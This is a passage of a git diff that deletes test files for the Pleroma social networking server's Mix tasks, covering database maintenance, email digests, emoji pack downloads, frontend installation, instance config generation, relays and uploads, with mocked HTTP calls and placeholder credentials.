insert() - |> Ecto.Changeset.change(%{inserted_at: date}) - |> Repo.update!() - - assert length(Repo.all(Object)) == 2 - - Mix.Tasks.Pleroma.Database.run(["prune_objects"]) - - assert length(Repo.all(Object)) == 1 - refute Object.get_by_id(id) - end - end - - describe "running update_users_following_followers_counts" do - test "following and followers count are updated" do - [user, user2] = insert_pair(:user) - {:ok, %User{} = user} = User.follow(user, user2) - - following = User.following(user) - - assert length(following) == 2 - assert user.follower_count == 0 - - {:ok, user} = - user - |> Ecto.Changeset.change(%{follower_count: 3}) - |> Repo.update() - - assert user.follower_count == 3 - - assert :ok == Mix.Tasks.Pleroma.Database.run(["update_users_following_followers_counts"]) - - user = User.get_by_id(user.id) - - assert length(User.following(user)) == 2 - assert user.follower_count == 0 - end - end - - describe "running fix_likes_collections" do - test "it turns OrderedCollection likes into empty arrays" do - [user, user2] = insert_pair(:user) - - {:ok, %{id: id, object: object}} = CommonAPI.post(user, %{status: "test"}) - {:ok, %{object: object2}} = CommonAPI.post(user, %{status: "test test"}) - - CommonAPI.favorite(user2, id) - - likes = %{ - "first" => - "http://mastodon.example.org/objects/dbdbc507-52c8-490d-9b7c-1e1d52e5c132/likes?page=1", - "id" => "http://mastodon.example.org/objects/dbdbc507-52c8-490d-9b7c-1e1d52e5c132/likes", - "totalItems" => 3, - "type" => "OrderedCollection" - } - - new_data = Map.put(object2.data, "likes", likes) - - object2 - |> Ecto.Changeset.change(%{data: new_data}) - |> Repo.update() - - assert length(Object.get_by_id(object.id).data["likes"]) == 1 - assert is_map(Object.get_by_id(object2.id).data["likes"]) - - assert :ok == Mix.Tasks.Pleroma.Database.run(["fix_likes_collections"]) - - assert length(Object.get_by_id(object.id).data["likes"]) == 1 - assert Enum.empty?(Object.get_by_id(object2.id).data["likes"]) - end - end - - describe "ensure_expiration" do - test "it adds to expiration old statuses" do - activity1 = insert(:note_activity) - - {:ok, inserted_at, 0} = DateTime.from_iso8601("2015-01-23T23:50:07Z") - activity2 = insert(:note_activity, %{inserted_at: inserted_at}) - - %{id: activity_id3} = insert(:note_activity) - - expires_at = DateTime.add(DateTime.utc_now(), 60 * 61) - - Pleroma.Workers.PurgeExpiredActivity.enqueue(%{ - activity_id: activity_id3, - expires_at: expires_at - }) - - Mix.Tasks.Pleroma.Database.run(["ensure_expiration"]) - - assert_enqueued( - worker: Pleroma.Workers.PurgeExpiredActivity, - args: %{activity_id: activity1.id}, - scheduled_at: - activity1.inserted_at - |> DateTime.from_naive!("Etc/UTC") - |> Timex.shift(days: 365) - ) - - assert_enqueued( - worker: Pleroma.Workers.PurgeExpiredActivity, - args: %{activity_id: activity2.id}, - scheduled_at: - activity2.inserted_at - |> DateTime.from_naive!("Etc/UTC") - |> Timex.shift(days: 365) - ) - - assert_enqueued( - worker: Pleroma.Workers.PurgeExpiredActivity, - args: %{activity_id: activity_id3}, - scheduled_at: expires_at - ) - end - end -end diff --git a/test/tasks/digest_test.exs b/test/tasks/digest_test.exs deleted file mode 100644 index 69dccb745..000000000 --- a/test/tasks/digest_test.exs +++ /dev/null @@ -1,60 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Mix.Tasks.Pleroma.DigestTest do - use Pleroma.DataCase - - import Pleroma.Factory - import Swoosh.TestAssertions - - alias Pleroma.Tests.ObanHelpers - alias Pleroma.Web.CommonAPI - - setup_all do - Mix.shell(Mix.Shell.Process) - - on_exit(fn -> - Mix.shell(Mix.Shell.IO) - end) - - :ok - end - - setup do: clear_config([Pleroma.Emails.Mailer, :enabled], true) - - describe "pleroma.digest test" do - test "Sends digest to the given user" do - user1 = insert(:user) - user2 = insert(:user) - - Enum.each(0..10, fn i -> - {:ok, _activity} = - CommonAPI.post(user1, %{ - status: "hey ##{i} @#{user2.nickname}!" - }) - end) - - yesterday = - NaiveDateTime.add( - NaiveDateTime.truncate(NaiveDateTime.utc_now(), :second), - -60 * 60 * 24, - :second - ) - - {:ok, yesterday_date} = Timex.format(yesterday, "%F", :strftime) - - :ok = Mix.Tasks.Pleroma.Digest.run(["test", user2.nickname, yesterday_date]) - - ObanHelpers.perform_all() - - assert_receive {:mix_shell, :info, [message]} - assert message =~ "Digest email have been sent" - - assert_email_sent( - to: {user2.name, user2.email}, - html_body: ~r/here is what you've missed!/i - ) - end - end -end diff --git a/test/tasks/ecto/ecto_test.exs b/test/tasks/ecto/ecto_test.exs deleted file mode 100644 index 3a028df83..000000000 --- a/test/tasks/ecto/ecto_test.exs +++ /dev/null @@ -1,15 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Mix.Tasks.Pleroma.EctoTest do - use ExUnit.Case, async: true - - test "raise on bad path" do - assert_raise RuntimeError, ~r/Could not find migrations directory/, fn -> - Mix.Tasks.Pleroma.Ecto.ensure_migrations_path(Pleroma.Repo, - migrations_path: "some-path" - ) - end - end -end diff --git a/test/tasks/ecto/migrate_test.exs b/test/tasks/ecto/migrate_test.exs deleted file mode 100644 index 43df176a1..000000000 --- a/test/tasks/ecto/migrate_test.exs +++ /dev/null @@ -1,20 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-onl - -defmodule Mix.Tasks.Pleroma.Ecto.MigrateTest do - use Pleroma.DataCase, async: true - import ExUnit.CaptureLog - require Logger - - test "ecto.migrate info message" do - level = Logger.level() - Logger.configure(level: :warn) - - assert capture_log(fn -> - Mix.Tasks.Pleroma.Ecto.Migrate.run() - end) =~ "[info] Already up" - - Logger.configure(level: level) - end -end diff --git a/test/tasks/ecto/rollback_test.exs b/test/tasks/ecto/rollback_test.exs deleted file mode 100644 index 0236e35d5..000000000 --- a/test/tasks/ecto/rollback_test.exs +++ /dev/null @@ -1,20 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Mix.Tasks.Pleroma.Ecto.RollbackTest do - use Pleroma.DataCase - import ExUnit.CaptureLog - require Logger - - test "ecto.rollback info message" do - level = Logger.level() - Logger.configure(level: :warn) - - assert capture_log(fn -> - Mix.Tasks.Pleroma.Ecto.Rollback.run() - end) =~ "[info] Rollback succesfully" - - Logger.configure(level: level) - end -end diff --git a/test/tasks/email_test.exs b/test/tasks/email_test.exs deleted file mode 100644 index 9523aefd8..000000000 --- a/test/tasks/email_test.exs +++ /dev/null @@ -1,127 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Mix.Tasks.Pleroma.EmailTest do - use Pleroma.DataCase - - import Swoosh.TestAssertions - - alias Pleroma.Config - alias Pleroma.Tests.ObanHelpers - - import Pleroma.Factory - - setup_all do - Mix.shell(Mix.Shell.Process) - - on_exit(fn -> - Mix.shell(Mix.Shell.IO) - end) - - :ok - end - - setup do: clear_config([Pleroma.Emails.Mailer, :enabled], true) - setup do: clear_config([:instance, :account_activation_required], true) - - describe "pleroma.email test" do - test "Sends test email with no given address" do - mail_to = Config.get([:instance, :email]) - - :ok = Mix.Tasks.Pleroma.Email.run(["test"]) - - ObanHelpers.perform_all() - - assert_receive {:mix_shell, :info, [message]} - assert message =~ "Test email has been sent" - - assert_email_sent( - to: mail_to, - html_body: ~r/a test email was requested./i - ) - end - - test "Sends test email with given address" do - mail_to = "hewwo@example.com" - - :ok = Mix.Tasks.Pleroma.Email.run(["test", "--to", mail_to]) - - ObanHelpers.perform_all() - - assert_receive {:mix_shell, :info, [message]} - assert message =~ "Test email has been sent" - - assert_email_sent( - to: mail_to, - html_body: ~r/a test email was requested./i - ) - end - - test "Sends confirmation emails" do - local_user1 = - insert(:user, %{ - confirmation_pending: true, - confirmation_token: "mytoken", - deactivated: false, - email: "local1@pleroma.com", - local: true - }) - - local_user2 = - insert(:user, %{ - confirmation_pending: true, - confirmation_token: "mytoken", - deactivated: false, - email: "local2@pleroma.com", - local: true - }) - - :ok = Mix.Tasks.Pleroma.Email.run(["resend_confirmation_emails"]) - - ObanHelpers.perform_all() - - assert_email_sent(to: {local_user1.name, local_user1.email}) - assert_email_sent(to: {local_user2.name, local_user2.email}) - end - - test "Does not send confirmation email to inappropriate users" do - # confirmed user - insert(:user, %{ - confirmation_pending: false, - confirmation_token: "mytoken", - deactivated: false, - email: "confirmed@pleroma.com", - local: true - }) - - # remote user - insert(:user, %{ - deactivated: false, - email: "remote@not-pleroma.com", - local: false - }) - - # deactivated user = - insert(:user, %{ - deactivated: true, - email: "deactivated@pleroma.com", - local: false - }) - - # invisible user - insert(:user, %{ - deactivated: false, - email: "invisible@pleroma.com", - local: true, - invisible: true - }) - - :ok = Mix.Tasks.Pleroma.Email.run(["resend_confirmation_emails"]) - - ObanHelpers.perform_all() - - refute_email_sent() - end - end -end diff --git a/test/tasks/emoji_test.exs b/test/tasks/emoji_test.exs deleted file mode 100644 index 0fb8603ac..000000000 --- a/test/tasks/emoji_test.exs +++ /dev/null @@ -1,243 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Mix.Tasks.Pleroma.EmojiTest do - use ExUnit.Case, async: true - - import ExUnit.CaptureIO - import Tesla.Mock - - alias Mix.Tasks.Pleroma.Emoji - - describe "ls-packs" do - test "with default manifest as url" do - mock(fn - %{ - method: :get, - url: "https://git.pleroma.social/pleroma/emoji-index/raw/master/index.json" - } -> - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/emoji/packs/default-manifest.json") - } - end) - - capture_io(fn -> Emoji.run(["ls-packs"]) end) =~ - "https://finland.fi/wp-content/uploads/2017/06/finland-emojis.zip" - end - - test "with passed manifest as file" do - capture_io(fn -> - Emoji.run(["ls-packs", "-m", "test/fixtures/emoji/packs/manifest.json"]) - end) =~ "https://git.pleroma.social/pleroma/emoji-index/raw/master/packs/blobs_gg.zip" - end - end - - describe "get-packs" do - test "download pack from default manifest" do - mock(fn - %{ - method: :get, - url: "https://git.pleroma.social/pleroma/emoji-index/raw/master/index.json" - } -> - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/emoji/packs/default-manifest.json") - } - - %{ - method: :get, - url: "https://finland.fi/wp-content/uploads/2017/06/finland-emojis.zip" - } -> - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/emoji/packs/blank.png.zip") - } - - %{ - method: :get, - url: "https://git.pleroma.social/pleroma/emoji-index/raw/master/finmoji.json" - } -> - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/emoji/packs/finmoji.json") - } - end) - - assert capture_io(fn -> Emoji.run(["get-packs", "finmoji"]) end) =~ "Writing pack.json for" - - emoji_path = - Path.join( - Pleroma.Config.get!([:instance, :static_dir]), - "emoji" - ) - - assert File.exists?(Path.join([emoji_path, "finmoji", "pack.json"])) - on_exit(fn -> File.rm_rf!("test/instance_static/emoji/finmoji") end) - end - - test "install local emoji pack" do - assert capture_io(fn -> - Emoji.run([ - "get-packs", - "local", - "--manifest", - "test/instance_static/local_pack/manifest.json" - ]) - end) =~ "Writing pack.json for" - - on_exit(fn -> File.rm_rf!("test/instance_static/emoji/local") end) - end - - test "pack not found" do - mock(fn - %{ - method: :get, - url: "https://git.pleroma.social/pleroma/emoji-index/raw/master/index.json" - } -> - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/emoji/packs/default-manifest.json") - } - end) - - assert capture_io(fn -> Emoji.run(["get-packs", "not_found"]) end) =~ - "No pack named \"not_found\" found" - end - - test "raise on bad sha256" do - mock(fn - %{ - method: :get, - url: "https://git.pleroma.social/pleroma/emoji-index/raw/master/packs/blobs_gg.zip" - } -> - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/emoji/packs/blank.png.zip") - } - end) - - assert_raise RuntimeError, ~r/^Bad SHA256 for blobs.gg/, fn -> - capture_io(fn -> - Emoji.run(["get-packs", "blobs.gg", "-m", "test/fixtures/emoji/packs/manifest.json"]) - end) - end - end - end - - describe "gen-pack" do - setup do - url = "https://finland.fi/wp-content/uploads/2017/06/finland-emojis.zip" - - mock(fn %{ - method: :get, - url: ^url - } -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/emoji/packs/blank.png.zip")} - end) - - {:ok, url: url} - end - - test "with default extensions", %{url: url} do - name = "pack1" - pack_json = "#{name}.json" - files_json = "#{name}_file.json" - refute File.exists?(pack_json) - refute File.exists?(files_json) - - captured = - capture_io(fn -> - Emoji.run([ - "gen-pack", - url, - "--name", - name, - "--license", - "license", - "--homepage", - "homepage", - "--description", - "description", - "--files", - files_json, - "--extensions", - ".png .gif" - ]) - end) - - assert captured =~ "#{pack_json} has been created with the pack1 pack" - assert captured =~ "Using .png .gif extensions" - - assert File.exists?(pack_json) - assert File.exists?(files_json) - - on_exit(fn -> - File.rm!(pack_json) - File.rm!(files_json) - end) - end - - test "with custom extensions and update existing files", %{url: url} do - name = "pack2" - pack_json = "#{name}.json" - files_json = "#{name}_file.json" - refute File.exists?(pack_json) - refute File.exists?(files_json) - - captured = - capture_io(fn -> - Emoji.run([ - "gen-pack", - url, - "--name", - name, - "--license", - "license", - "--homepage", - "homepage", - "--description", - "description", - "--files", - files_json, - "--extensions", - " .png .gif .jpeg " - ]) - end) - - assert captured =~ "#{pack_json} has been created with the pack2 pack" - assert captured =~ "Using .png .gif .jpeg extensions" - - assert File.exists?(pack_json) - assert File.exists?(files_json) - - captured = - capture_io(fn -> - Emoji.run([ - "gen-pack", - url, - "--name", - name, - "--license", - "license", - "--homepage", - "homepage", - "--description", - "description", - "--files", - files_json, - "--extensions", - " .png .gif .jpeg " - ]) - end) - - assert captured =~ "#{pack_json} has been updated with the pack2 pack" - - on_exit(fn -> - File.rm!(pack_json) - File.rm!(files_json) - end) - end - end -end diff --git a/test/tasks/frontend_test.exs b/test/tasks/frontend_test.exs deleted file mode 100644 index 022ae51be..000000000 --- a/test/tasks/frontend_test.exs +++ /dev/null @@ -1,85 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.FrontendTest do - use Pleroma.DataCase - alias Mix.Tasks.Pleroma.Frontend - - import ExUnit.CaptureIO, only: [capture_io: 1] - - @dir "test/frontend_static_test" - - setup do - File.mkdir_p!(@dir) - clear_config([:instance, :static_dir], @dir) - - on_exit(fn -> - File.rm_rf(@dir) - end) - end - - test "it downloads and unzips a known frontend" do - clear_config([:frontends, :available], %{ - "pleroma" => %{ - "ref" => "fantasy", - "name" => "pleroma", - "build_url" => "http://gensokyo.2hu/builds/${ref}" - } - }) - - Tesla.Mock.mock(fn %{url: "http://gensokyo.2hu/builds/fantasy"} -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/frontend_dist.zip")} - end) - - capture_io(fn -> - Frontend.run(["install", "pleroma"]) - end) - - assert File.exists?(Path.join([@dir, "frontends", "pleroma", "fantasy", "test.txt"])) - end - - test "it also works given a file" do - clear_config([:frontends, :available], %{ - "pleroma" => %{ - "ref" => "fantasy", - "name" => "pleroma", - "build_dir" => "" - } - }) - - folder = Path.join([@dir, "frontends", "pleroma", "fantasy"]) - previously_existing = Path.join([folder, "temp"]) - File.mkdir_p!(folder) - File.write!(previously_existing, "yey") - assert File.exists?(previously_existing) - - capture_io(fn -> - Frontend.run(["install", "pleroma", "--file", "test/fixtures/tesla_mock/frontend.zip"]) - end) - - assert File.exists?(Path.join([folder, "test.txt"])) - refute File.exists?(previously_existing) - end - - test "it downloads and unzips unknown frontends" do - Tesla.Mock.mock(fn %{url: "http://gensokyo.2hu/madeup.zip"} -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/frontend.zip")} - end) - - capture_io(fn -> - Frontend.run([ - "install", - "unknown", - "--ref", - "baka", - "--build-url", - "http://gensokyo.2hu/madeup.zip", - "--build-dir", - "" - ]) - end) - - assert File.exists?(Path.join([@dir, "frontends", "unknown", "baka", "test.txt"])) - end -end diff --git a/test/tasks/instance_test.exs b/test/tasks/instance_test.exs deleted file mode 100644 index 914ccb10a..000000000 --- a/test/tasks/instance_test.exs +++ /dev/null @@ -1,99 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.InstanceTest do - use ExUnit.Case - - setup do - File.mkdir_p!(tmp_path()) - - on_exit(fn -> - File.rm_rf(tmp_path()) - static_dir = Pleroma.Config.get([:instance, :static_dir], "test/instance_static/") - - if File.exists?(static_dir) do - File.rm_rf(Path.join(static_dir, "robots.txt")) - end - - Pleroma.Config.put([:instance, :static_dir], static_dir) - end) - - :ok - end - - defp tmp_path do - "/tmp/generated_files/" - end - - test "running gen" do - mix_task = fn -> - Mix.Tasks.Pleroma.Instance.run([ - "gen", - "--output", - tmp_path() <> "generated_config.exs", - "--output-psql", - tmp_path() <> "setup.psql", - "--domain", - "test.pleroma.social", - "--instance-name", - "Pleroma", - "--admin-email", - "admin@example.com", - "--notify-email", - "notify@example.com", - "--dbhost", - "dbhost", - "--dbname", - "dbname", - "--dbuser", - "dbuser", - "--dbpass", - "dbpass", - "--indexable", - "y", - "--db-configurable", - "y", - "--rum", - "y", - "--listen-port", - "4000", - "--listen-ip", - "127.0.0.1", - "--uploads-dir", - "test/uploads", - "--static-dir", - "./test/../test/instance/static/", - "--strip-uploads", - "y", - "--dedupe-uploads", - "n", - "--anonymize-uploads", - "n" - ]) - end - - ExUnit.CaptureIO.capture_io(fn -> - mix_task.() - end) - - generated_config = File.read!(tmp_path() <> "generated_config.exs") - assert generated_config =~ "host: \"test.pleroma.social\"" - assert generated_config =~ "name: \"Pleroma\"" - assert generated_config =~ "email: \"admin@example.com\"" - assert generated_config =~ "notify_email: \"notify@example.com\"" - assert generated_config =~ "hostname: \"dbhost\"" - assert generated_config =~ "database: \"dbname\"" - assert generated_config =~ "username: \"dbuser\"" - assert generated_config =~ "password: \"dbpass\"" - assert generated_config =~ "configurable_from_database: true" - assert generated_config =~ "http: [ip: {127, 0, 0, 1}, port: 4000]" - assert generated_config =~ "filters: [Pleroma.Upload.Filter.ExifTool]" - assert File.read!(tmp_path() <> "setup.psql") == generated_setup_psql() - assert File.exists?(Path.expand("./test/instance/static/robots.txt")) - end - - defp generated_setup_psql do - ~s(CREATE USER dbuser WITH ENCRYPTED PASSWORD 'dbpass';\nCREATE DATABASE dbname OWNER dbuser;\n\\c dbname;\n--Extensions made by ecto.migrate that need superuser access\nCREATE EXTENSION IF NOT EXISTS citext;\nCREATE EXTENSION IF NOT EXISTS pg_trgm;\nCREATE EXTENSION IF NOT EXISTS \"uuid-ossp\";\nCREATE EXTENSION IF NOT EXISTS rum;\n) - end -end diff --git a/test/tasks/pleroma_test.exs b/test/tasks/pleroma_test.exs deleted file mode 100644 index c3e47b285..000000000 --- a/test/tasks/pleroma_test.exs +++ /dev/null @@ -1,50 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Mix.PleromaTest do - use ExUnit.Case, async: true - import Mix.Pleroma - - setup_all do - Mix.shell(Mix.Shell.Process) - - on_exit(fn -> - Mix.shell(Mix.Shell.IO) - end) - - :ok - end - - describe "shell_prompt/1" do - test "input" do - send(self(), {:mix_shell_input, :prompt, "Yes"}) - - answer = shell_prompt("Do you want this?") - assert_received {:mix_shell, :prompt, [message]} - assert message =~ "Do you want this?" - assert answer == "Yes" - end - - test "with defval" do - send(self(), {:mix_shell_input, :prompt, "\n"}) - - answer = shell_prompt("Do you want this?", "defval") - - assert_received {:mix_shell, :prompt, [message]} - assert message =~ "Do you want this? [defval]" - assert answer == "defval" - end - end - - describe "get_option/3" do - test "get from options" do - assert get_option([domain: "some-domain.com"], :domain, "Promt") == "some-domain.com" - end - - test "get from prompt" do - send(self(), {:mix_shell_input, :prompt, "another-domain.com"}) - assert get_option([], :domain, "Prompt") == "another-domain.com" - end - end -end diff --git a/test/tasks/refresh_counter_cache_test.exs b/test/tasks/refresh_counter_cache_test.exs deleted file mode 100644 index 6a1a9ac17..000000000 --- a/test/tasks/refresh_counter_cache_test.exs +++ /dev/null @@ -1,43 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Mix.Tasks.Pleroma.RefreshCounterCacheTest do - use Pleroma.DataCase - alias Pleroma.Web.CommonAPI - import ExUnit.CaptureIO, only: [capture_io: 1] - import Pleroma.Factory - - test "counts statuses" do - user = insert(:user) - other_user = insert(:user) - - CommonAPI.post(user, %{visibility: "public", status: "hey"}) - - Enum.each(0..1, fn _ -> - CommonAPI.post(user, %{ - visibility: "unlisted", - status: "hey" - }) - end) - - Enum.each(0..2, fn _ -> - CommonAPI.post(user, %{ - visibility: "direct", - status: "hey @#{other_user.nickname}" - }) - end) - - Enum.each(0..3, fn _ -> - CommonAPI.post(user, %{ - visibility: "private", - status: "hey" - }) - end) - - assert capture_io(fn -> Mix.Tasks.Pleroma.RefreshCounterCache.run([]) end) =~ "Done\n" - - assert %{"direct" => 3, "private" => 4, "public" => 1, "unlisted" => 2} = - Pleroma.Stats.get_status_visibility_count() - end -end diff --git a/test/tasks/relay_test.exs b/test/tasks/relay_test.exs deleted file mode 100644 index cf48e7dda..000000000 --- a/test/tasks/relay_test.exs +++ /dev/null @@ -1,180 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Mix.Tasks.Pleroma.RelayTest do - alias Pleroma.Activity - alias Pleroma.User - alias Pleroma.Web.ActivityPub.ActivityPub - alias Pleroma.Web.ActivityPub.Relay - alias Pleroma.Web.ActivityPub.Utils - use Pleroma.DataCase - - import Pleroma.Factory - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - - Mix.shell(Mix.Shell.Process) - - on_exit(fn -> - Mix.shell(Mix.Shell.IO) - end) - - :ok - end - - describe "running follow" do - test "relay is followed" do - target_instance = "http://mastodon.example.org/users/admin" - - Mix.Tasks.Pleroma.Relay.run(["follow", target_instance]) - - local_user = Relay.get_actor() - assert local_user.ap_id =~ "/relay" - - target_user = User.get_cached_by_ap_id(target_instance) - refute target_user.local - - activity = Utils.fetch_latest_follow(local_user, target_user) - assert activity.data["type"] == "Follow" - assert activity.data["actor"] == local_user.ap_id - assert activity.data["object"] == target_user.ap_id - - :ok = Mix.Tasks.Pleroma.Relay.run(["list"]) - - assert_receive {:mix_shell, :info, - [ - "http://mastodon.example.org/users/admin - no Accept received (relay didn't follow back)" - ]} - end - end - - describe "running unfollow" do - test "relay is unfollowed" do - user = insert(:user) - target_instance = user.ap_id - - Mix.Tasks.Pleroma.Relay.run(["follow", target_instance]) - - %User{ap_id: follower_id} = local_user = Relay.get_actor() - target_user = User.get_cached_by_ap_id(target_instance) - follow_activity = Utils.fetch_latest_follow(local_user, target_user) - User.follow(local_user, target_user) - assert "#{target_instance}/followers" in User.following(local_user) - Mix.Tasks.Pleroma.Relay.run(["unfollow", target_instance]) - - cancelled_activity = Activity.get_by_ap_id(follow_activity.data["id"]) - assert cancelled_activity.data["state"] == "cancelled" - - [undo_activity] = - ActivityPub.fetch_activities([], %{ - type: "Undo", - actor_id: follower_id, - limit: 1, - skip_preload: true, - invisible_actors: true - }) - - assert undo_activity.data["type"] == "Undo" - assert undo_activity.data["actor"] == local_user.ap_id - assert undo_activity.data["object"]["id"] == cancelled_activity.data["id"] - refute "#{target_instance}/followers" in User.following(local_user) - end - - test "unfollow when relay is dead" do - user = insert(:user) - target_instance = user.ap_id - - Mix.Tasks.Pleroma.Relay.run(["follow", target_instance]) - - %User{ap_id: follower_id} = local_user = Relay.get_actor() - target_user = User.get_cached_by_ap_id(target_instance) - follow_activity = Utils.fetch_latest_follow(local_user, target_user) - User.follow(local_user, target_user) - - assert "#{target_instance}/followers" in User.following(local_user) - - Tesla.Mock.mock(fn %{method: :get, url: ^target_instance} -> - %Tesla.Env{status: 404} - end) - - Pleroma.Repo.delete(user) - Cachex.clear(:user_cache) - - Mix.Tasks.Pleroma.Relay.run(["unfollow", target_instance]) - - cancelled_activity = Activity.get_by_ap_id(follow_activity.data["id"]) - assert cancelled_activity.data["state"] == "accept" - - assert [] == - ActivityPub.fetch_activities( - [], - %{ - type: "Undo", - actor_id: follower_id, - skip_preload: true, - invisible_actors: true - } - ) - end - - test "force unfollow when relay is dead" do - user = insert(:user) - target_instance = user.ap_id - - Mix.Tasks.Pleroma.Relay.run(["follow", target_instance]) - - %User{ap_id: follower_id} = local_user = Relay.get_actor() - target_user = User.get_cached_by_ap_id(target_instance) - follow_activity = Utils.fetch_latest_follow(local_user, target_user) - User.follow(local_user, target_user) - - assert "#{target_instance}/followers" in User.following(local_user) - - Tesla.Mock.mock(fn %{method: :get, url: ^target_instance} -> - %Tesla.Env{status: 404} - end) - - Pleroma.Repo.delete(user) - Cachex.clear(:user_cache) - - Mix.Tasks.Pleroma.Relay.run(["unfollow", target_instance, "--force"]) - - cancelled_activity = Activity.get_by_ap_id(follow_activity.data["id"]) - assert cancelled_activity.data["state"] == "cancelled" - - [undo_activity] = - ActivityPub.fetch_activities( - [], - %{type: "Undo", actor_id: follower_id, skip_preload: true, invisible_actors: true} - ) - - assert undo_activity.data["type"] == "Undo" - assert undo_activity.data["actor"] == local_user.ap_id - assert undo_activity.data["object"]["id"] == cancelled_activity.data["id"] - refute "#{target_instance}/followers" in User.following(local_user) - end - end - - describe "mix pleroma.relay list" do - test "Prints relay subscription list" do - :ok = Mix.Tasks.Pleroma.Relay.run(["list"]) - - refute_receive {:mix_shell, :info, _} - - relay_user = Relay.get_actor() - - ["http://mastodon.example.org/users/admin", "https://mstdn.io/users/mayuutann"] - |> Enum.each(fn ap_id -> - {:ok, user} = User.get_or_fetch_by_ap_id(ap_id) - User.follow(relay_user, user) - end) - - :ok = Mix.Tasks.Pleroma.Relay.run(["list"]) - - assert_receive {:mix_shell, :info, ["https://mstdn.io/users/mayuutann"]} - assert_receive {:mix_shell, :info, ["http://mastodon.example.org/users/admin"]} - end - end -end diff --git a/test/tasks/robots_txt_test.exs b/test/tasks/robots_txt_test.exs deleted file mode 100644 index 7040a0e4e..000000000 --- a/test/tasks/robots_txt_test.exs +++ /dev/null @@ -1,45 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Mix.Tasks.Pleroma.RobotsTxtTest do - use ExUnit.Case - use Pleroma.Tests.Helpers - alias Mix.Tasks.Pleroma.RobotsTxt - - setup do: clear_config([:instance, :static_dir]) - - test "creates new dir" do - path = "test/fixtures/new_dir/" - file_path = path <> "robots.txt" - Pleroma.Config.put([:instance, :static_dir], path) - - on_exit(fn -> - {:ok, ["test/fixtures/new_dir/", "test/fixtures/new_dir/robots.txt"]} = File.rm_rf(path) - end) - - RobotsTxt.run(["disallow_all"]) - - assert File.exists?(file_path) - {:ok, file} = File.read(file_path) - - assert file == "User-Agent: *\nDisallow: /\n" - end - - test "to existance folder" do - path = "test/fixtures/" - file_path = path <> "robots.txt" - Pleroma.Config.put([:instance, :static_dir], path) - - on_exit(fn -> - :ok = File.rm(file_path) - end) - - RobotsTxt.run(["disallow_all"]) - - assert File.exists?(file_path) - {:ok, file} = File.read(file_path) - - assert file == "User-Agent: *\nDisallow: /\n" - end -end diff --git a/test/tasks/uploads_test.exs b/test/tasks/uploads_test.exs deleted file mode 100644 index d69e149a8..000000000 --- a/test/tasks/uploads_test.exs +++ /dev/null @@ -1,56 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Mix.Tasks.Pleroma.UploadsTest do - alias Pleroma.Upload - use Pleroma.DataCase - - import Mock - - setup_all do - Mix.shell(Mix.Shell.Process) - - on_exit(fn -> - Mix.shell(Mix.Shell.IO) - end) - - :ok - end - - describe "running migrate_local" do - test "uploads migrated" do - with_mock Upload, - store: fn %Upload{name: _file, path: _path}, _opts -> {:ok, %{}} end do - Mix.Tasks.Pleroma.Uploads.run(["migrate_local", "S3"]) - - assert_received {:mix_shell, :info, [message]} - assert message =~ "Migrating files from local" - - assert_received {:mix_shell, :info, [message]} - - assert %{"total_count" => total_count} = - Regex.named_captures(~r"^Found (?\d+) uploads$", message) - - assert_received {:mix_shell, :info, [message]} - - # @logevery in Mix.Tasks.Pleroma.Uploads - count = - min(50, String.to_integer(total_count)) - |> to_string() - - assert %{"count" => ^count, "total_count" => ^total_count} = - Regex.named_captures( - ~r"^Uploaded (?\d+)/(?\d+) files$", - message - ) - end - end - - test "nonexistent uploader" do - assert_raise RuntimeError, ~r/The uploader .* is not an existing/, fn -> - Mix.Tasks.Pleroma.Uploads.run(["migrate_local", "nonexistent"]) - end - end - end -end diff --git a/test/tasks/user_test.exs b/test/tasks/user_test.exs deleted file mode 100644 index b8c423c48..000000000 --- a/test/tasks/user_test.exs +++ /dev/null @@ -1,614 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Mix.Tasks.Pleroma.UserTest do - alias Pleroma.Activity - alias Pleroma.MFA - alias Pleroma.Object - alias Pleroma.Repo - alias 